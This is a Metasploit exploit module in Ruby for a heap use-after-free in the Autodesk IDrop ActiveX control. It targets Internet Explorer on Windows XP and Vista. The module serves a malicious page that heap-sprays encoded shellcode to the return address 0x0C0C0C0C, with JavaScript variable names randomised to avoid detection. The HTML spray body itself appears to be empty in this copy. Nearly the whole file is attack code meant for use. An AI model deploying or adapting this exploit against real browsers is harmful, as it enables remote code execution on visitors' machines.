`## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption', 'Description' => %q{ This module exploits a heap-based memory corruption vulnerability in Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160. An attacker can execute arbitrary code by triggering a heap use after free condition using the Src, Background, PackageXml properties. }, 'License' => MSF_LICENSE, 'Author' => [ 'Elazar Broad ', # Original exploit [see References] 'Trancer ' # Metasploit implementation ], 'References' => [ [ 'OSVDB', '53265' ], [ 'BID', '34352' ], [ 'EDB', '8560' ], [ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ] ], 'DisclosureDate' => 'Apr 2 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) blocksize = 0x40000 fillto = 550 offset = target['Offset'] # Randomize the javascript variable names idrop = rand_text_alpha(rand(100) + 1) j_function = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_ret = rand_text_alpha(rand(100) + 1) j_mem = rand_text_alpha(rand(100) + 1) # Build out the message content = %Q|

| print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end `

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